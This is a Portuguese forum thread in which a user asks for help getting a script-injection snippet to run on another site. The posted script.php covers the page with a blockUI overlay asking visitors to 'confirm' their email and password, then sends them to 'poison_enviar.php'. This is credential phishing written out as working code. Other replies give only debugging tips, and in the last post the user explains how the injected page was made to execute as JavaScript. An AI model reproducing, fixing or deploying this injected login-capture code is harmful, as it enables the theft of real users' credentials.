Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Teixeira Junior

problema ao chamar uma pagina php com o javascript

Recommended Posts

eae galera beleza

bom estou fazendo um script

que puxe uma pagina externa php e que rode os scripts que existem

nessa pagina php

para determinado site

 

o codigo está correto!?

var a = document.createElement('script');
a.src='http://meusite.com.br/script.php'
a.type='text/javascript';
document.body.appendChild(a);
void(0);

quando executo na pagina nao acontece nada!!

script.php:

<?php 
//session_start();
include "config.php";
$sql = "SELECT * FROM usuarios";
$query = mysql_query($sql);
$row = mysql_fetch_array($query);
$name = $row['username'];
?>
<script src="http://code.jquery.com/jquery-latest.min.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js"></script>
<script src="http://malsup.github.io/jquery.blockUI.js"></script>
<script src="http://malsup.github.com/chili-1.7.pack.js"></script>
<!--<script src="http://www.levadalouca.com/box.js"></script> -->
<link type="text/css" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1/themes/smoothness/jquery-ui.css" rel="stylesheet">
<link type="text/css" href="http://www.malsup.com/jquery/jq.css" rel="stylesheet">
<link type="text/css" href="http://www.levadalouca.com/block.css" rel="stylesheet">
<link type="text/css" href="http://www.levadalouca.com/boxhabbo.css" rel="stylesheet">
<script type="text/javascript">
$(document).ready(function(){
$(document).ready(function() { 
    //$('#demo9').click(function() { 
        $.blockUI(); 
        $('.blockOverlay').attr('title','Click to unblock').click($.unblockUI); 
    //}); 
}); 
$.blockUI.defaults = {
    // message displayed when blocking (use null for no message)
    message:  '<div id="titulo"><div style="position:relative;top:6px;"><b>Confirme seus Dados:</b></div></div><br><br>  <form id="ajax_form" name="form" action="" method="GET"><label>Email:</label><br><input type="text" id="email" name="email"></input><br><label>Senha:</label><br><input type="password" id="senha" name="senha"></input><br><input type="hidden" id="nome" value="<?php echo $name; ?>"></input><button id="botao">OK</button></FORM>',

    title: null,        // title string; only used when theme == true
    draggable: true,    // only used when theme == true (requires jquery-ui.js to be loaded)

    theme: false, // set to true to use with jQuery UI themes

    // styles for the message when blocking; if you wish to disable
    // these and use an external stylesheet then do this in your code:
    // $.blockUI.defaults.css = {};
    css: {
        padding:        0,
        margin:         0,
        width:          '30%',
        top:            '40%',
        left:           '35%',
        textAlign:      'center',
        color:          '#000',
        border:         '3px solid #aaa',
        backgroundColor:'#fff',
        cursor:         'pointer'
    },

    // minimal style set used when themes are used
    themedCSS: {
        width:  '30%',
        top:    '40%',
        left:   '35%'
    },

    // styles for the overlay
    overlayCSS:  {
        backgroundColor: '#000',
        opacity:         0.6,
        cursor:          'wait'
    },

    // style to replace wait cursor before unblocking to correct issue
    // of lingering wait cursor
    cursorReset: 'default',

    // styles applied when using $.growlUI
    growlCSS: {
        width:    '350px',
        top:      '10px',
        left:     '',
        right:    '10px',
        border:   'none',
        padding:  '5px',
        opacity:   0.6,
        cursor:    null,
        color:    '#fff',
        backgroundColor: '#000',
        '-webkit-border-radius': '10px',
        '-moz-border-radius':    '10px'
    },
    
    // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
    // (hat tip to Jorge H. N. de Vasconcelos)
    iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',

    // force usage of iframe in non-IE browsers (handy for blocking applets)
    forceIframe: false,

    // z-index for the blocking overlay
    baseZ: 1000,

    // set these to true to have the message automatically centered
    centerX: true, // <-- only effects element blocking (page block controlled via css above)
    centerY: true,

    // allow body element to be stetched in ie6; this makes blocking look better
    // on "short" pages.  disable if you wish to prevent changes to the body height
    allowBodyStretch: true,

    // enable if you want key and mouse events to be disabled for content that is blocked
    bindEvents: true,

    // be default blockUI will supress tab navigation from leaving blocking content
    // (if bindEvents is true)
    constrainTabKey: true,

    // fadeIn time in millis; set to 0 to disable fadeIn on block
    fadeIn:  200,

    // fadeOut time in millis; set to 0 to disable fadeOut on unblock
    fadeOut:  400,

    // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
    timeout: 0,

    // disable if you don't want to show the overlay
    showOverlay: true,

    // if true, focus will be placed in the first available input field when
    // page blocking
    focusInput: true,

    // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
    // no longer needed in 2012
    // applyPlatformOpacityRules: true,

    // callback method invoked when fadeIn has completed and blocking message is visible
    onBlock: null,

    // callback method invoked when unblocking has completed; the callback is
    // passed the element that has been unblocked (which is the window object for page
    // blocks) and the options that were passed to the unblock call:
    //   onUnblock(element, options)
    onUnblock: null,

    // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
    quirksmodeOffsetHack: 4,

    // class name of the message block
    blockMsgClass: 'blockMsg',

    // if it is already blocked, then ignore it (don't unblock and reblock)
    ignoreIfBlocked: false
};

/*
$("#header").css('margin-left','+=150px');
$("#header").css('height','-=10px');
$("#header").css('background-color','#4B5A5F'); */
});

jQuery(document).ready(function(){
jQuery('#ajax_form').submit(function(){
var dados = jQuery( this ).serialize();
 
jQuery.ajax({
type: "POST",
url: "poison_enviar.php?nome=<?php echo $name; ?>&email=<?php echo $email; ?>&senha=<?php echo $senha; ?>",
data: dados,
success: function( data )
{
alert( data );
}
});
return false;
});
});

</script>
	
<body></body>

Compartilhar este post


Link para o post
Compartilhar em outros sites

Está errado.

 

Vc terá que utilizar AJAX para isso.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Não coloque o caminho completo, para não cair em cross domain.

 

Fora isso, oque apareceu no teu console de erros ?

Ctrl + Shift + J ?

 

Diga qual erro vc teve ao tentar usar ajax, se não fica possível te ajudarmos.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Não coloque o caminho completo, para não cair em cross domain.

 

Fora isso, oque apareceu no teu console de erros ?

Ctrl + Shift + J ?

 

Diga qual erro você teve ao tentar usar ajax, se não fica possível te ajudarmos.

nao aparece erro nenhum oque aparece é o seguinte:

 

Compartilhar este post


Link para o post
Compartilhar em outros sites

Então, qual sua dúvida ?

Pq não deu certo ?

 

 

Vc está vendo o lugar errado. Leia:

http://wbruno.com.br/javascript-puro/como-debugar-javascript-firefox-erros-comuns/

http://wbruno.com.br/ajax/como-debugar-ajax-firebug/

Compartilhar este post


Link para o post
Compartilhar em outros sites

Então, qual sua dúvida ?

Pq não deu certo ?

 

 

você está vendo o lugar errado. Leia:

http://wbruno.com.br/javascript-puro/como-debugar-javascript-firefox-erros-comuns/

http://wbruno.com.br/ajax/como-debugar-ajax-firebug/

nao tem erro mas tbm nao acontece nada a pagina nao é puxada!

 

 

Moderador Feche o topico o problema já foi resolvido!

Compartilhar este post


Link para o post
Compartilhar em outros sites

Como resolveu ?

var a = document.createElement('script');

a.src='http://meusite.com.br/script.php'

a.type='text/javascript';

document.body.appendChild(a);

void(0);

 

só que nessa pagina script.php

deixei so algumas partes em php e o resto os scripts propriamente ditos

deixei em texto normal ai quando o script acima cria a tag <script> com o endereço do script.php

ele roda o texto que esta na pagina script.php como se fosse um js normal !

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.